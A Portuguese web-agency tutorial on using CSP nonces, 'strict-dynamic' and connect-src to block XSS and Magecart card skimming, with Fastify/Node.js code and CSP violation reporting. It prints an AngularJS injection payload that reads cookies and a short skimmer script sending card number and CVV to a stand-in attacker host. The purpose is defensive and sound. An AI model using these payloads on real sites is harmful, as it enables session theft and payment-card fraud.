Content Security Policy e Nonces: Como Travar Ataques XSS e Magecart
A Falsa Sensação de Segurança: Porque as Listas de Domínios São Inúteis
Durante anos aprendeste que configurar uma Content Security Policy (CSP) era apenas criar uma lista de domínios de confiança. Se precisavas de usar fontes da Google, o Stripe ou uma biblioteca comum, adicionavas esses domínios ao cabeçalho HTTP:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdnjs.cloudflare.com https://*.googleapis.com;
A equipa olhava para o código e sentia-se protegida: “Os scripts de atacantes já não vão correr aqui!”
Infelizmente, a realidade da cibersegurança é diferente. Se autorizares uma CDN aberta como a cdnjs ou serviços da Google, um atacante que consiga injetar texto na tua base de dados pode carregar versões antigas de frameworks com falhas conhecidas de JSONP a partir desse mesmo domínio autorizado. O browser verifica apenas de onde o ficheiro vem, mas não sabe que código tinhas intenção de executar.
COMO UMA LISTA DE DOMÍNIOS É CONTORNADA COM SUCESSO
- Atacante injeta código na tua área de comentários:
-
{{$eval.constructor('alert(document.cookie)')()}}
- O Browser Avalia a Tua Política CSP: O domínio cdnjs.cloudflare.com está na lista branca? SIM.
- O script corre, contorna o CSP e rouba as sessões dos utilizadores!
Este tipo de vulnerabilidade é detalhadamente analisado pela OWASP. Para protegeres as tuas web apps contra Cross-Site Scripting (XSS) e ataques de Magecart, tens de esquecer as listas brancas estáticas e passar a utilizar nonces criptográficos gerados a cada pedido.
O Conceito de Nonce Criptográfico: Prova de Intenção e Não de Origem
Um nonce (number used once) troca a confiança em domínios externos por uma prova matemática e imprevisível.
Em cada pedido HTTP que o teu servidor recebe, geras uma chave aleatória de 128 bits codificada em Base64. Envias essa chave em dois locais exatos:
- No cabeçalho HTTP:
Content-Security-Policy: script-src 'nonce-R4nd0mB4s364T0k3n==' 'strict-dynamic'; - No teu código HTML:
<script nonce="R4nd0mB4s364T0k3n==" src="/app.js"></script>
Quando o navegador do teu utilizador lê o ficheiro HTML, compara o atributo de cada script com o cabeçalho. Se um atacante injetou um script através de um comentário por falta de escape (<script>enviarDados()</script>), o motor do browser recusa executar o código porque lhe falta o valor secreto do nonce que só o servidor conhece.
VALIDAÇÃO DE NONCES NO MOTOR DO BROWSER
- Cabeçalho HTTP: Content-Security-Policy: script-src ‘nonce-d83k…==’ ‘strict-dynamic’;
- SCRIPT LEGÍTIMO DA TUA APLICAÇÃO:
- O Nonce coincide com o cabeçalho! Execução aprovada.
- SCRIPT INJETADO PELO ATACANTE (XSS):
- Não tem o atributo nonce correto!
- O BROWSER RECUSA CORRER: Execução bloqueada de imediato.
Como o invasor não consegue adivinhar um valor criptográfico aleatório gerado naquele milissegundo, a injeção XSS é transformada em texto inofensivo. Na nossa abordagem de anti-over-engineering, esta solução elimina dezenas de regras complexas e frágeis.
Implementação Prática de Nonces em Fastify e Node.js
Para usares nonces em produção, precisas de gerar a string dinâmica a cada pedido recebido. Vê como podes estruturar isto no Fastify ou Express utilizando o módulo nativo de criptografia do Node.js:
// src/servidor.ts
import fastify from 'fastify';
import crypto from 'node:crypto';
const app = fastify();
app.addHook('onRequest', (request, reply, done) => {
// Gera 16 bytes de entropia criptográfica segura em Base64
const nonce = crypto.randomBytes(16).toString('base64');
reply.locals = { nonce };
// Monta a política de segurança CSP rigorosa
const politicaCsp = [
`default-src 'self'`,
`script-src 'nonce-${nonce}' 'strict-dynamic' 'unsafe-inline' https: http:`,
`style-src 'self' 'nonce-${nonce}' https://fonts.googleapis.com`,
`font-src 'self' https://fonts.gstatic.com`,
`img-src 'self' data: https://media.x078.com`,
`connect-src 'self' https://api.x078.com`,
`base-uri 'none'`,
`object-src 'none'`,
`form-action 'self'`,
`frame-ancestors 'none'`,
].join('; ');
reply.header('Content-Security-Policy', politicaCsp);
done();
});
app.get('/', async (req, reply) => {
const { nonce } = reply.locals as { nonce: string };
return reply.type('text/html').send(`
<!DOCTYPE html>
<html lang="pt">
<head>
<title>Plataforma Segura</title>
<script nonce="${nonce}" src="/estatico/bundle.js"></script>
</head>
<body>
<h1>Proteção Criptográfica Ativa</h1>
</body>
</html>
`);
});
Nota o truque com 'unsafe-inline' https: http:. Em navegadores modernos compatíveis com CSP Nível 3, a inclusão do nonce e do 'strict-dynamic' faz com que o browser ignore automaticamente as opções antigas. Se usares servidores como o Nginx, podes igualmente gerar variáveis aleatórias no proxy.
Como Travar Ataques Magecart e Roubo de Dados de Cartão
Hoje em dia, muitos ataques a lojas virtuais não vêm de invasões diretas à base de dados, mas do comprometimento de scripts de terceiros (como widgets de chat ou ferramentas de suporte). Um atacante altera esse código externo para escutar as caixas de texto de pagamento:
// Código malicioso injetado num script de apoio ao cliente
document.querySelector('form#pagamento').addEventListener('submit', () => {
const cartao = document.querySelector('input[name="numero_cartao"]').value;
const cvv = document.querySelector('input[name="cvv"]').value;
navigator.sendBeacon('https://servidor-atacante.com/log', JSON.stringify({ cartao, cvv }));
});
A tua política CSP impede esta fuga de dados de forma imediata através da diretiva connect-src:
O CSP BLOQUEIA A FUGA DE DADOS DO MAGECART
- Script comprometido tenta enviar dados para fora: navigator.sendBeacon(‘https://servidor-atacante.com/log’, dadosCartao);
- O Navegador Valida a Diretiva connect-src: connect-src ‘self’ https://api.x078.com;
- BLOQUEIO IMEDIATO PELO MOTOR DO BROWSER! servidor-atacante.com NÃO está autorizado no connect-src.
- O browser cancela a transmissão do pacote.
- Os dados do cartão de crédito nunca chegam ao atacante!
Mesmo que um script comprometido consiga correr na tua página, fica impedido de telefonar para servidores externos desconhecidos. É esta disciplina que colocamos no desenvolvimento de websites de alta performance.
Monitorização em Tempo Real com Relatórios de Violação CSP
Uma regra de segurança só é verdadeiramente eficaz se te avisar quando algo corre mal. Se um invasor tentar injetar código, ou se um colega de equipa se esquecer do atributo nonce, deves saber de imediato.
Podes ativar o envio automático de relatórios com o cabeçalho oficial:
Reporting-Endpoints: csp-endpoint="https://api.x078.com/api/v1/relatorios-csp"
Content-Security-Policy: ...; report-to csp-endpoint;
Sempre que existir uma tentativa de violação, o próprio browser do utilizador envia um pedido JSON com os dados do bloqueio:
{
"csp-report": {
"document-uri": "https://x078.com/checkout",
"violated-directive": "script-src-elem",
"effective-directive": "script-src",
"blocked-uri": "inline",
"line-number": 12,
"source-file": "https://x078.com/checkout"
}
}
Podes integrar estes dados nas tuas ferramentas de métricas ou analisar implementações de referência no GitHub.
Seguindo as regras de infraestrutura aplicadas na WebXtek, transformas a segurança do teu projeto numa barreira matemática intransponível, garantindo que nenhum código não assinado corre nos dispositivos dos teus clientes.
Na prática, aplicas exatamente estes padrões operacionais em setores exigentes como cibersegurança b2b e inteligência corporativa e saas empresarial b2b. Quando alinhas a tua estrutura através de web apps e websites de alta performance, transformas boas práticas técnicas numa vantagem competitiva real e mensurável para o teu negócio.
[+] [ INDEX_DIRECTORY ] 13 tópicos ▼
- A Falsa Sensação de Segurança: Porque as Listas de Domínios São Inúteis
- O Conceito de Nonce Criptográfico: Prova de Intenção e Não de Origem
- Implementação Prática de Nonces em Fastify e Node.js
- Como Travar Ataques Magecart e Roubo de Dados de Cartão
- Monitorização em Tempo Real com Relatórios de Violação CSP
- Autor
- Perguntas Frequentes
- Porque é que as listas de domínios autorizados (whitelisting) na CSP falham?
- O que é um nonce criptográfico na Content Security Policy?
- Como é que a diretiva strict-dynamic facilita a gestão de scripts modernos?
- Uma política CSP rigorosa consegue impedir ataques do tipo Magecart?
- Nós Relacionados
- Sequência do Caminho
Perguntas Frequentes
Porque é que as listas de domínios autorizados (whitelisting) na CSP falham?
Listas estáticas com domínios como cdnjs ou googleapis permitem que atacantes usem endpoints de JSONP ou alojem bibliotecas maliciosas dentro desses mesmos domínios permitidos, contornando a proteção do browser sem qualquer dificuldade.
O que é um nonce criptográfico na Content Security Policy?
Um nonce (número usado uma única vez) é uma string aleatória de alta entropia gerada pelo teu servidor a cada pedido HTTP. Apenas as tags de script que incluam exatamente o mesmo atributo nonce serão executadas pelo browser.
Como é que a diretiva strict-dynamic facilita a gestão de scripts modernos?
A diretiva strict-dynamic permite que um script legítimo com nonce válido carregue outros scripts secundários dinamicamente sem que precises de registar dezenas de domínios adicionais na tua política.
Uma política CSP rigorosa consegue impedir ataques do tipo Magecart?
Sim. Mesmo que um atacante comprometa uma biblioteca externa ou widget de apoio, diretivas restritas de connect-src e script-src bloqueiam a execução de código não autorizado e impedem que os dados de cartões de crédito sejam enviados para servidores externos.
[ RELATED_NODES ]
> INICIAR_PROJETO
Precisa de um website que transmita confiança, apareça na pesquisa e dê mais força à sua presença digital? Comece a conversa aqui.